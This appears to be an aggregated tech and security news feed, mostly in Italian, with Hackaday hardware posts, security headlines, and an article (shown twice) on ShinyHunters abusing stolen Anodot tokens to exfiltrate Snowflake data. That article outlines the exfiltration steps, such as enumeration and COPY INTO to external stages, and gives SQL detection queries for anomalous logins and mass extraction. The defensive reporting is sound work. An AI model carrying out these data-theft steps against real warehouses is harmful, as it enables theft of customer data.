In pratica, però, alcuni team spingono Clean Architecture così lontano che ogni caso d’uso viene sepolto sotto strati di interfacce, wrapper, handler, repository e adattatori che il sistema non ha realmente bisogno. Il takeaway più importante non è il template completo, ma il principio: tieni le regole di business lontane dall’infrastruttura tecnica.

// Esempio: un handler di dominio che NON dipende da EF Core direttamente
public class CreateOrderHandler
{
    private readonly IOrderRepository _repository;  // astrazione, non EF diretto
    private readonly IEventPublisher _events;

    public CreateOrderHandler(IOrderRepository repository, IEventPublisher events)
    {
        _repository = repository;
        _events = events;
    }

    public async Task<OrderId> Handle(CreateOrderCommand command, CancellationToken ct)
    {
        var order = Order.Create(command.CustomerId, command.Items);
        await _repository.SaveAsync(order, ct);
        await _events.PublishAsync(new OrderCreated(order.Id), ct);
        return order.Id;
    }
}


Adatto quando: il dominio ha una complessità significativa, l’applicazione ha una lunga vita prevista, più infrastrutture devono rimanere scambiabili o isolate, il team ha la disciplina per usare i confini intenzionalmente.

Attenzione: è facile over-engineerare. Troppa cerimonia rallenta il lavoro su funzionalità semplici. I team inesperti spesso copiano diagrammi invece di risolvere il vero problema di manutenibilità.

Vertical Slice Architecture


L’architettura a vertical slice organizza il codice attorno a singoli casi d’uso o richieste. Invece di pensare per layer tecnici, ogni “slice” è un percorso verticale completo dalla richiesta alla risposta:

Features/
  PlaceOrder/
    PlaceOrderCommand.cs
    PlaceOrderHandler.cs
    PlaceOrderValidator.cs
    PlaceOrderEndpoint.cs
  CancelOrder/
    CancelOrderCommand.cs
    CancelOrderHandler.cs
    CancelOrderEndpoint.cs


Ogni slice è autonoma e contiene tutto il necessario per gestire quella specifica operazione. Questo riduce l’accoppiamento tra funzionalità diverse: modificare “PlaceOrder” non richiede di toccare il codice di “CancelOrder”.

MediatR è comunemente usato con questo pattern in .NET, ma non è obbligatorio — il pattern funziona anche con endpoint minimali diretti.

Adatto quando: le funzionalità sono relativamente indipendenti tra loro, il team preferisce massimizzare la coesione per caso d’uso, si vuole limitare al minimo l’accoppiamento laterale.

Attenzione: la duplicazione del codice tra slice simili può crescere se non si definisce chiaramente cosa è condiviso e cosa non lo è.

Modular Monolith


Il modular monolith è uno step successivo rispetto ai pattern precedenti: invece di organizzare il codice per funzionalità singole, si definiscono moduli di business più ampi con confini chiari tra loro, pur rimanendo un’unica applicazione deployabile.

Modules/
  Ordering/
    Api/
    Application/
    Domain/
    Infrastructure/
  Catalog/
    Api/
    Application/
    Domain/
    Infrastructure/
  Payments/
    ...


Ogni modulo espone un’interfaccia pubblica e nasconde i propri dettagli interni. La comunicazione tra moduli avviene attraverso quella interfaccia — mai direttamente tra le implementazioni interne. Questo crea i presupposti per un eventuale passaggio a microservizi, se e quando il sistema lo richiederà, senza dover fare un refactoring massiccio.

Adatto quando: il sistema è abbastanza grande da giustificare confini chiari tra aree di business, non si vuole la complessità operativa dei microservizi, si vuole prepararsi a una futura decomposizione senza impegnarsi subito.

Quale scegliere?


Non esiste una risposta universale, ma questo schema può orientare la scelta:

  • App nuova, team piccolo, CRUD dominante → Layered o Feature Folders
  • App in crescita, molte funzionalità indipendenti → Feature Folders o Vertical Slices
  • Dominio complesso, lunga vita prevista, team disciplinato → Clean Architecture
  • Sistema grande, confini di business chiari, no microservizi ancora → Modular Monolith

Inizia dalla struttura più semplice che risolve il tuo problema attuale. Evolvi quando la complessità del sistema lo giustifica, non prima. Il momento migliore per passare a un’architettura più sofisticata è quando il dolore del non averla è reale e misurabile — non anticipatorio.


Fonte: ASP.NET: How to Structure a Growing Application So It Stays Maintainable — Chris Pietschmann, pietschsoft.com.


Digital Signal Processing on the Pi Pico


The media in this post is not displayed to visitors. To view it, please log in.

If you want to dabble in audio digital signal processing, you would probably think of grabbing a dedicated DSP chip. But thanks to [WeebLabs], you could just pick up a Pi Pico and use this full-featured DSP library.

The system supports plug-and-play USB audio interface that enumerates on Windows, Linux, macOS, and iOS. It can handle 16- or 24-bit inputs at up to 96 kHz. You can output up to four channels of 24-bit S/PDIF or I2S, or switch to an RP2350 to get eight channels. This lets you drive a DAC easily. There is also a direct output for a subwoofer that doesn’t require a DAC.

Each channel has a pre-amp, and a matrix mixer allows routing with different gains and phases for each input. An equalizer allows ten bands per channel. There are also modules to do volume leveling, loudness compensation, and headphone cross-feed.

The library uses both cores of the CPU and manages up to ten preset configurations. The Pico does get an overclock and uses a fixed-point representation. The Pico 2 (RP2350) doesn’t need overclocking and uses single-precision floating point.

Overall, this looks like a great base for any sort of soundcard-like project. We’ve seen DSP stunts on the Pico before. This might also make a nice base for other audio projects.


hackaday.com/2026/04/29/digita…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Internet #censorship index reveals #Russia’s lead and widespread content blocking
securityaffairs.com/191475/sec…
#securityaffairs #hacking

Ask Hackaday: Do You Need a Tablet?


The media in this post is not displayed to visitors. To view it, please log in.

There’s an old saying that the happiest days of a boat owner’s life are the day they buy the boat, and the day they sell it. For me, the happiest days of an Android tablet owner’s life are the day they buy a new one, and the day they buy a newer one. For some reason, I always buy tablets with great expectations, get them set up, and then promptly lose them in a pile on my desk, not to be seen again. Then a shiny new tablet gets my attention in a year or so, and the cycle repeats.

You might be thinking that I just buy cheap junk tablets. It is true that I have. But I have also bought new Galaxy and Asus tablets with the same result. Admittedly, I have owned several Surface Laptops and Pros, and I do use them. But I can’t remember the last time I have used one without the keyboard. They aren’t really tablets — they are just laptops that can also be heavy, awkward tablets.

Why?


I get the sense that iPad users get more use from their devices, but I’m not sure why. Maybe because Android tablets are really just blown-up phones. These days, my phone is big enough for most things. Sure, the tablet is bigger, but it isn’t that much bigger. In addition, my phone usually has a much better CPU, camera, and everything else. Not to mention it is constantly connected to the Internet, even if I’m not in range of a known WiFi router.

Read webpages? Phone. Play games? Phone. Deal with e-mail? Phone. The only advantage is if I put the tablet’s cheap Bluetooth keyboard on and use it like a laptop. But wait, I can just as well do that with the phone. Plus, voice typing for things like e-mails and messages is much better than it used to be.

Then there’s using it as a laptop replacement. When my laptop weighed a ton and got a few hours on a battery, that seemed like a good idea. But modern laptops don’t weigh that much, and they have pretty reasonable battery life, too. I always install some kind of Linux, like Termux and even Termux-X11, so I can use it as a lightweight Linux laptop. And I still don’t use it. (My setup is similar to the one in the video below, although you may have a few hiccups getting it all to work.)

youtube.com/embed/QCr4WWsfVv8?…

Desktop


Phone, tablet, or laptop, I’m still more likely to be found at my desk behind a big screen with a serious computer. Maybe it’s a generation gap, like clinging to a landline phone (I don’t) or a DVD player (another thing I don’t do). Maybe it is that most of the things I do on the computer benefit from large split screens and fast computing times.

Of course, there’s also the gadget factor. My desktop computer is huge and heavy, full of cards and water coolers, disk drives and fans. Some people trick out their cars. It is hard to expand most laptops, phones, and tablets, although I have had some success taking them apart for simple upgrades. They never seem to go back together quite right, though.

So Then?


So then what do I actually want a tablet for? I don’t know. Which leads me to ask you: what are you using a tablet for? Do you really use it regularly? Or is it another gadget collecting dust? It doesn’t count if you repurpose them for some dedicated use: a second screen, a touchpad, or a 3D printer controller. I mean using them as a replacement for your normal computing platform. Let us know in the comments.

Maybe I’d be happier making my own tablet.


hackaday.com/2026/04/29/ask-ha…

Cybersecurity & cyberwarfare ha ricondiviso questo.

All supported #cPanel versions hit by critical auth bug, now patched
securityaffairs.com/191465/hac…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

LineShine: il supercomputer cinese che punta alle prestazioni exascale con 47.000 processori

📌 Link all'articolo : redhotcyber.com/post/lineshine…

A cura di Carolina Vivianti

#redhotcyber #news #cina #supercomputer #exascale #lineshine #technologia #computing

reshared this

Noctua Releases 3D Models, But Please Don’t Try To Dupe The Products


The media in this post is not displayed to visitors. To view it, please log in.

Noctua wants to make life easier for fans of its…fans. To that end, the company has released a bevy of 3D models across its various product lines, all available to download for free.

If you’re not familiar with the company, Noctua specializes in high-quality cooling systems for the PC market. Its hope is that by freely providing 3D models of its components, it will aid aftermarket companies and DIYers that wish to integrate Noctua fans into their gear. In the company’s own words, these files are made available for “mechanical design, rendering, or animations.” They will let people check things like mountings and fitment without having to have the parts on hand, or to create demo visuals featuring the company’s products.

Don’t get too excited, though, because Noctua has already thought ahead. The company has specifically noted these parts aren’t intended for 3D printing, and critical components like fan blades have modified geometry so as to not compromise the companies IP. You could try and print these models, but they won’t perform like the real thing, and Noctua notes they shouldn’t be used for simulation purposes either. They’re intentionally not accurate to what the company actually sells in that regard.

That isn’t to say Noctua is totally against 3D printing. They have lots of parts available on Printables that they’d love you to try—everything from fan grilles to ducts to anti-vibration pads. Most are useful accessories—the kind of little bits of plastic that make using the products easier—that don’t threaten Noctua’s core product line in the marketplace.

If you’re whipping up a custom PC case and you want to kit it out with Noctua goodies, these models might help you refine your design. It’s funny how it’s such an opposite tactic to that taken by Honda, in terms of embracing the free exchange of 3D models on the open Internet. It’s a move that will surely be appreciated as a great convenience, and we’d love to see more companies follow this fine example.

Thanks to [irox] for the tip!


hackaday.com/2026/04/29/noctua…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Hungary update: All the ministerial appointments from the new govt. have so far been completely sane and reasonable. Real experts with vaguely reasonable opinions, not yes-men or corrupt family members.

This shouldn't feel like it's news, but after 16 years of Orban's cleptocracy I have such a hard time processing this. As if one day Putin lost an election and suddenly the country was just ... normal??? I fully know we're in a honeymoon phase, but it is also just so incredibly liberating to see

Questa voce è stata modificata (2 mesi fa)

reshared this

Cina, Stati Uniti e la sfida degli abissi


@Informatica (Italy e non Italy)
La mappatura dei fondali oceanici sta diventando un elemento sempre più importante della competizione tra le due superpotenze, per motivi militari, economici e scientifici.
L'articolo Cina, Stati Uniti e la sfida degli abissi proviene da Guerre di Rete.

guerredirete.it/cina-stati-uni…

The media in this post is not displayed to visitors. To view it, please log in.

ShinyHunters colpisce attraverso Anodot: la supply chain SaaS apre i data warehouse Snowflake di decine di aziende — ora nel mirino Vimeo


@Informatica (Italy e non Italy)
ShinyHunters ha violato Anodot, una piattaforma SaaS di analytics cloud, sottraendo token di accesso che hanno aperto le porte ai data


ShinyHunters colpisce attraverso Anodot: la supply chain SaaS apre i data warehouse Snowflake di decine di aziende — ora nel mirino Vimeo


Un solo fornitore SaaS compromesso, e l’effetto domino colpisce decine di aziende enterprise. È la logica brutale dell’attacco supply chain che ShinyHunters ha affinato negli ultimi due anni: questa volta la porta di servizio si chiama Anodot, una piattaforma di analytics cloud che integra direttamente con Snowflake. L’ultimatum più recente è di oggi, 28 aprile 2026, contro Vimeo: pagare entro il 30 aprile o subire la pubblicazione dei dati esfiltrati da Snowflake e BigQuery.

Il vettore: compromettere il custode per svaligiare il caveau


Anodot è una piattaforma di monitoraggio dei costi cloud e anomaly detection usata da nomi come Atlassian, T-Mobile, UPS, Vimeo, Nordstrom, Amdocs, NICE e CyberArk. Per svolgere il suo lavoro, Anodot richiede token di accesso privilegiato ai data warehouse dei clienti — Snowflake in primis. È qui che ShinyHunters ha trovato la sua leva: invece di attaccare ogni vittima singolarmente, ha preso di mira il custode delle chiavi.

Secondo le analisi dei ricercatori di RH-ISAC e Mitiga, gli attaccanti hanno sottratto token di autenticazione dall’infrastruttura di Anodot nel corso delle prime settimane di aprile 2026. Questi token, validi per accedere direttamente agli account Snowflake dei clienti, hanno aperto la strada all’esfiltrazione senza la necessità di sfruttare alcuna vulnerabilità nelle piattaforme delle vittime finali. Snowflake stessa non è stata violata: il problema è nella catena di fiducia tra il provider SaaS e i suoi clienti.

Chi è ShinyHunters e il precedente Snowflake del 2024


ShinyHunters è un collettivo cybercriminale attivo dal 2020, specializzato in esfiltrazione massiva di database e successiva estorsione. Il gruppo è salito alla ribalta internazionale con la violazione di Tokopedia (91 milioni di account), Microsoft GitHub e decine di altre piattaforme, finendo per diventare uno degli attori più prolifici nel mercato underground dei dati rubati.

Il precedente Snowflake — scoppiato nella primavera-estate del 2024 — aveva già mostrato la pericolosità del vettore credential stuffing su piattaforme di dati cloud: Ticketmaster (560 milioni di record), AT&T (quasi tutti i clienti americani), Santander e oltre 165 organizzazioni compromesse attraverso credenziali rubate agli utenti di Snowflake privi di autenticazione multifattore. In quel caso il metodo era il credential stuffing diretto; ora il livello di sofisticazione è aumentato: si colpisce il provider intermedio per aggirare anche l’MFA delle vittime finali.

La progressione degli attacchi: da Rockstar Games a Vimeo


La timeline della campagna Anodot è ricostruibile dai post del leak site di ShinyHunters:

  • 11 aprile 2026 — ShinyHunters pubblica un messaggio rivolto a Rockstar Games: “Your Snowflake instances were compromised thanks to Anodot. Pay or leak by April 14”. Rockstar conferma una violazione a terze parti, specificando che non sono stati colpiti dati dei giocatori.
  • Metà aprile 2026 — Emergono segnalazioni di altri clienti Anodot potenzialmente esposti; RH-ISAC emette un advisory alla propria comunità di retail e hospitality.
  • 28 aprile 2026 (oggi) — Nuovo ultimatum: ShinyHunters afferma di aver esfiltrato dati Snowflake e BigQuery di Vimeo tramite Anodot, con scadenza per il pagamento fissata al 30 aprile 2026.


Anatomia tecnica dell’attacco


Il meccanismo di compromissione sfrutta la natura stessa dell’integrazione tra Anodot e Snowflake. Per monitorare i costi e rilevare anomalie nei data warehouse dei clienti, Anodot conserva nei propri sistemi token di accesso o credenziali di servizio con privilegi elevati — tipicamente account con ruolo ACCOUNTADMIN o SYSADMIN su Snowflake, o service account equivalenti su BigQuery.

Una volta che gli attaccanti hanno sottratto questi token dall’infrastruttura di Anodot, le operazioni successive sono elementari:

  • Autenticazione diretta all’account Snowflake della vittima tramite il token rubato
  • Enumerazione dei database e delle tabelle disponibili
  • Esecuzione di query SELECT * su tabelle di interesse (dati utenti, transazioni, metriche interne)
  • Esfiltrazione tramite COPY INTO verso stage esterni o download diretto

L’intera catena può essere eseguita senza toccare i sistemi interni della vittima finale, rendendo il rilevamento estremamente difficile per i team SOC che non monitorano attivamente gli accessi da IP insoliti o da service account normalmente inattivi nelle ore notturne.

Indicatori di compromissione e segnali da monitorare

# Snowflake: query per rilevare accessi anomali da service account
SELECT
  user_name,
  client_ip,
  event_timestamp,
  reported_client_type
FROM snowflake.account_usage.login_history
WHERE user_name ILIKE '%anodot%'
   OR user_name ILIKE '%integration%'
   OR user_name ILIKE '%svc%'
ORDER BY event_timestamp DESC;

# Verificare sessioni attive non riconosciute
SELECT *
FROM snowflake.account_usage.sessions
WHERE client_application_id NOT IN (
  /* lista delle applicazioni legittime attese */
)
AND created_on > DATEADD(day, -30, CURRENT_TIMESTAMP());

# Controllare query di esfiltrazione massiva
SELECT query_text, user_name, rows_produced, execution_time
FROM snowflake.account_usage.query_history
WHERE rows_produced > 100000
  AND query_type = 'SELECT'
ORDER BY start_time DESC;

Il problema strutturale: la fiducia implicita nei provider SaaS


Il caso Anodot mette a nudo una vulnerabilità sistemica nell’architettura di sicurezza delle aziende enterprise moderne: la proliferazione di integrazioni SaaS-to-SaaS crea una superficie d’attacco spesso invisibile ai team di sicurezza. Ogni strumento di monitoraggio, analytics, ITSM o osservabilità che si connette ai sistemi core diventa un potenziale pivot point per un attaccante.

Il principio del least privilege — teoricamente applicato ai dipendenti — viene sistematicamente violato per i service account delle integrazioni SaaS, che spesso ricevono accessi di tipo amministratore perché “così funziona più facilmente”. Il risultato è che un unico provider compromesso può esporre l’intero ecosistema dati di un’organizzazione enterprise.

Raccomandazioni operative immediate


  • Audit immediato delle integrazioni Anodot: se la vostra organizzazione usa Anodot, ruotate immediatamente tutti i token di accesso e le credenziali condivise con il provider. Verificate i log di accesso Snowflake/BigQuery per le ultime 4 settimane.
  • Network policies su Snowflake: abilitate le network policy che restringono l’accesso ai data warehouse solo agli IP autorizzati. Gli accessi da provider SaaS di terze parti dovrebbero provenire da range IP documentati e noti.
  • OAuth e token scoping: privilegiate integrazioni che usano OAuth con scope limitati rispetto a credenziali amministrative persistenti. Implementate token rotation automatica con TTL brevi.
  • Inventario delle integrazioni SaaS-to-SaaS: molte organizzazioni non hanno visibilità completa su quanti provider SaaS hanno accesso ai propri data warehouse. Un audit del tipo “chi può leggere cosa nel mio Snowflake?” è un esercizio urgente.
  • Alerting su query anomale: configurate alerting su volumi di dati estratti superiori ai baseline storici, specialmente per service account di integrazioni esterne.

L’ultimatum del 30 aprile su Vimeo resterà probabilmente senza risposta pubblica, come già avvenuto con Rockstar. Ma la campagna continuerà: finché esistono decine di provider SaaS con accessi privilegiati non monitorati ai dati delle loro enterprise, ShinyHunters — e gruppi analoghi — hanno un modello di business altamente redditizio.


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Prima della farmacia, si vende su Telegram! Il lato oscuro del nuovo farmaco per dimagrire

📌 Link all'articolo : redhotcyber.com/post/prima-del…

A cura di Chiara Nardini

#redhotcyber #news #cybersecurity #hacking #malware #pharmaceutic #obesità #farmaco

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

BlueNoroff Deploys AI Deepfake Zoom Lures and Fileless PowerShell to Drain Crypto Wallets Across 20+ Countries
#CyberSecurity
securebulletin.com/bluenoroff-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical GitHub RCE Vulnerability CVE-2026-3854 Exposed Millions of Repositories to Cross-Tenant Access
#CyberSecurity
securebulletin.com/critical-gi…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

APT28 Exploits Windows 0-Click Flaw CVE-2026-32202 to Steal NTLM Hashes via Defender SmartScreen Bypass
#CyberSecurity
securebulletin.com/apt28-explo…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

cPanel Emergency Patch: Critical Authentication Bypass Threatens Millions of Hosted Websites
#CyberSecurity
securebulletin.com/cpanel-emer…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Over 600 Google employees tried to stop the company from signing a deal with the Pentagon but that made no difference as the deal was confirmed signed this morning.

Anthropic seems to be the only AI company that has bowed out from its technology being used for “classified work” by the military.

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

ShinyHunters colpisce attraverso Anodot: la supply chain SaaS apre i data warehouse Snowflake di decine di aziende — ora nel mirino Vimeo
#CyberSecurity
insicurezzadigitale.com/shinyh…


ShinyHunters colpisce attraverso Anodot: la supply chain SaaS apre i data warehouse Snowflake di decine di aziende — ora nel mirino Vimeo


Un solo fornitore SaaS compromesso, e l’effetto domino colpisce decine di aziende enterprise. È la logica brutale dell’attacco supply chain che ShinyHunters ha affinato negli ultimi due anni: questa volta la porta di servizio si chiama Anodot, una piattaforma di analytics cloud che integra direttamente con Snowflake. L’ultimatum più recente è di oggi, 28 aprile 2026, contro Vimeo: pagare entro il 30 aprile o subire la pubblicazione dei dati esfiltrati da Snowflake e BigQuery.

Il vettore: compromettere il custode per svaligiare il caveau


Anodot è una piattaforma di monitoraggio dei costi cloud e anomaly detection usata da nomi come Atlassian, T-Mobile, UPS, Vimeo, Nordstrom, Amdocs, NICE e CyberArk. Per svolgere il suo lavoro, Anodot richiede token di accesso privilegiato ai data warehouse dei clienti — Snowflake in primis. È qui che ShinyHunters ha trovato la sua leva: invece di attaccare ogni vittima singolarmente, ha preso di mira il custode delle chiavi.

Secondo le analisi dei ricercatori di RH-ISAC e Mitiga, gli attaccanti hanno sottratto token di autenticazione dall’infrastruttura di Anodot nel corso delle prime settimane di aprile 2026. Questi token, validi per accedere direttamente agli account Snowflake dei clienti, hanno aperto la strada all’esfiltrazione senza la necessità di sfruttare alcuna vulnerabilità nelle piattaforme delle vittime finali. Snowflake stessa non è stata violata: il problema è nella catena di fiducia tra il provider SaaS e i suoi clienti.

Chi è ShinyHunters e il precedente Snowflake del 2024


ShinyHunters è un collettivo cybercriminale attivo dal 2020, specializzato in esfiltrazione massiva di database e successiva estorsione. Il gruppo è salito alla ribalta internazionale con la violazione di Tokopedia (91 milioni di account), Microsoft GitHub e decine di altre piattaforme, finendo per diventare uno degli attori più prolifici nel mercato underground dei dati rubati.

Il precedente Snowflake — scoppiato nella primavera-estate del 2024 — aveva già mostrato la pericolosità del vettore credential stuffing su piattaforme di dati cloud: Ticketmaster (560 milioni di record), AT&T (quasi tutti i clienti americani), Santander e oltre 165 organizzazioni compromesse attraverso credenziali rubate agli utenti di Snowflake privi di autenticazione multifattore. In quel caso il metodo era il credential stuffing diretto; ora il livello di sofisticazione è aumentato: si colpisce il provider intermedio per aggirare anche l’MFA delle vittime finali.

La progressione degli attacchi: da Rockstar Games a Vimeo


La timeline della campagna Anodot è ricostruibile dai post del leak site di ShinyHunters:

  • 11 aprile 2026 — ShinyHunters pubblica un messaggio rivolto a Rockstar Games: “Your Snowflake instances were compromised thanks to Anodot. Pay or leak by April 14”. Rockstar conferma una violazione a terze parti, specificando che non sono stati colpiti dati dei giocatori.
  • Metà aprile 2026 — Emergono segnalazioni di altri clienti Anodot potenzialmente esposti; RH-ISAC emette un advisory alla propria comunità di retail e hospitality.
  • 28 aprile 2026 (oggi) — Nuovo ultimatum: ShinyHunters afferma di aver esfiltrato dati Snowflake e BigQuery di Vimeo tramite Anodot, con scadenza per il pagamento fissata al 30 aprile 2026.


Anatomia tecnica dell’attacco


Il meccanismo di compromissione sfrutta la natura stessa dell’integrazione tra Anodot e Snowflake. Per monitorare i costi e rilevare anomalie nei data warehouse dei clienti, Anodot conserva nei propri sistemi token di accesso o credenziali di servizio con privilegi elevati — tipicamente account con ruolo ACCOUNTADMIN o SYSADMIN su Snowflake, o service account equivalenti su BigQuery.

Una volta che gli attaccanti hanno sottratto questi token dall’infrastruttura di Anodot, le operazioni successive sono elementari:

  • Autenticazione diretta all’account Snowflake della vittima tramite il token rubato
  • Enumerazione dei database e delle tabelle disponibili
  • Esecuzione di query SELECT * su tabelle di interesse (dati utenti, transazioni, metriche interne)
  • Esfiltrazione tramite COPY INTO verso stage esterni o download diretto

L’intera catena può essere eseguita senza toccare i sistemi interni della vittima finale, rendendo il rilevamento estremamente difficile per i team SOC che non monitorano attivamente gli accessi da IP insoliti o da service account normalmente inattivi nelle ore notturne.

Indicatori di compromissione e segnali da monitorare

# Snowflake: query per rilevare accessi anomali da service account
SELECT
  user_name,
  client_ip,
  event_timestamp,
  reported_client_type
FROM snowflake.account_usage.login_history
WHERE user_name ILIKE '%anodot%'
   OR user_name ILIKE '%integration%'
   OR user_name ILIKE '%svc%'
ORDER BY event_timestamp DESC;

# Verificare sessioni attive non riconosciute
SELECT *
FROM snowflake.account_usage.sessions
WHERE client_application_id NOT IN (
  /* lista delle applicazioni legittime attese */
)
AND created_on > DATEADD(day, -30, CURRENT_TIMESTAMP());

# Controllare query di esfiltrazione massiva
SELECT query_text, user_name, rows_produced, execution_time
FROM snowflake.account_usage.query_history
WHERE rows_produced > 100000
  AND query_type = 'SELECT'
ORDER BY start_time DESC;

Il problema strutturale: la fiducia implicita nei provider SaaS


Il caso Anodot mette a nudo una vulnerabilità sistemica nell’architettura di sicurezza delle aziende enterprise moderne: la proliferazione di integrazioni SaaS-to-SaaS crea una superficie d’attacco spesso invisibile ai team di sicurezza. Ogni strumento di monitoraggio, analytics, ITSM o osservabilità che si connette ai sistemi core diventa un potenziale pivot point per un attaccante.

Il principio del least privilege — teoricamente applicato ai dipendenti — viene sistematicamente violato per i service account delle integrazioni SaaS, che spesso ricevono accessi di tipo amministratore perché “così funziona più facilmente”. Il risultato è che un unico provider compromesso può esporre l’intero ecosistema dati di un’organizzazione enterprise.

Raccomandazioni operative immediate


  • Audit immediato delle integrazioni Anodot: se la vostra organizzazione usa Anodot, ruotate immediatamente tutti i token di accesso e le credenziali condivise con il provider. Verificate i log di accesso Snowflake/BigQuery per le ultime 4 settimane.
  • Network policies su Snowflake: abilitate le network policy che restringono l’accesso ai data warehouse solo agli IP autorizzati. Gli accessi da provider SaaS di terze parti dovrebbero provenire da range IP documentati e noti.
  • OAuth e token scoping: privilegiate integrazioni che usano OAuth con scope limitati rispetto a credenziali amministrative persistenti. Implementate token rotation automatica con TTL brevi.
  • Inventario delle integrazioni SaaS-to-SaaS: molte organizzazioni non hanno visibilità completa su quanti provider SaaS hanno accesso ai propri data warehouse. Un audit del tipo “chi può leggere cosa nel mio Snowflake?” è un esercizio urgente.
  • Alerting su query anomale: configurate alerting su volumi di dati estratti superiori ai baseline storici, specialmente per service account di integrazioni esterne.

L’ultimatum del 30 aprile su Vimeo resterà probabilmente senza risposta pubblica, come già avvenuto con Rockstar. Ma la campagna continuerà: finché esistono decine di provider SaaS con accessi privilegiati non monitorati ai dati delle loro enterprise, ShinyHunters — e gruppi analoghi — hanno un modello di business altamente redditizio.


Cybersecurity & cyberwarfare ha ricondiviso questo.

Magnifica lettura, grazie!


Strumenti digitali e apprendimento: Platone vince ancora

Dal blog Link&Think di @enriconardelli
link-and-think.blogspot.com/20…
@informatica
di Enrico Nardelli

(english version here)

Avevo raccontato, in un precedente articolo, come il rapporto UNESCO del 2023 avesse suonato un primo, drammatico campanello d’allarme definendo l'Ed-Tech (cioè l’uso di strumenti digitali nel sistema


reshared this

Wipeout Clone Runs Native on ESP32-S3


The media in this post is not displayed to visitors. To view it, please log in.

Psygnosis’s 1995 game Wipeout is remembered for two things: being one of the greatest games of all time, and taking advantage of the then-new PlayStation’s capacity for 3D graphics. The ESP32-S3 might not be your first choice to replace Sony’s iconic console, but [Michael Biggins] a.k.a. [PhonicUK] is working on doing just that, with his own clone of Wipeout on the Expressif MCU.

It’s actually not that crazy when you think about it. The PlayStation had a 32-bit RISC processor, and the ESP32-S3 is a 32-bit RISC processor. The PlayStation’s was only good for about 30 Million Instructions Per Second (MIPS) but it had a graphics co-processor to help out with the polygons — the ESP32-S3 has two cores that can help each other, which combine to about 300 MIPS. In terms of RAM, the board in use has 8 MB of PSRAM, while the faster 512 kB on the chip is used, in effect, as video ram.

The demo is very impressive, especially considering he’s fit in three computer players. He’s also got it blasting out 60 frames per second, which is probably double what the original Wipeout ran on the PS1. Part of that is the two cores in action: he’s got them working together on the interlaced video output, one sending while the other finishes the second half of the frame. Each half of the video gets dedicated space in the internal memory. Using a 480×320 pixel display doesn’t hurt for speed, either. Sure, it’s paltry by modern standards, but the original Wipeout got by with even fewer pixels — and it didn’t run on a microcontroller. Granted it’s a beefy micro, but we really love how [Michael] is pushing its limits here.

Right now there’s just the Reddit thread and the demo video below. [Michael] is considering sharing the source code for his underlying 3D engine under an open license. We do hope he shares the code, as there are surely tricks in there some of us here could learn from. If it’s all old hat to you, perhaps you’d rather spend a weekend learning raytracing.

youtube.com/embed/aKkb5L-YTTc?…


hackaday.com/2026/04/29/wipeou…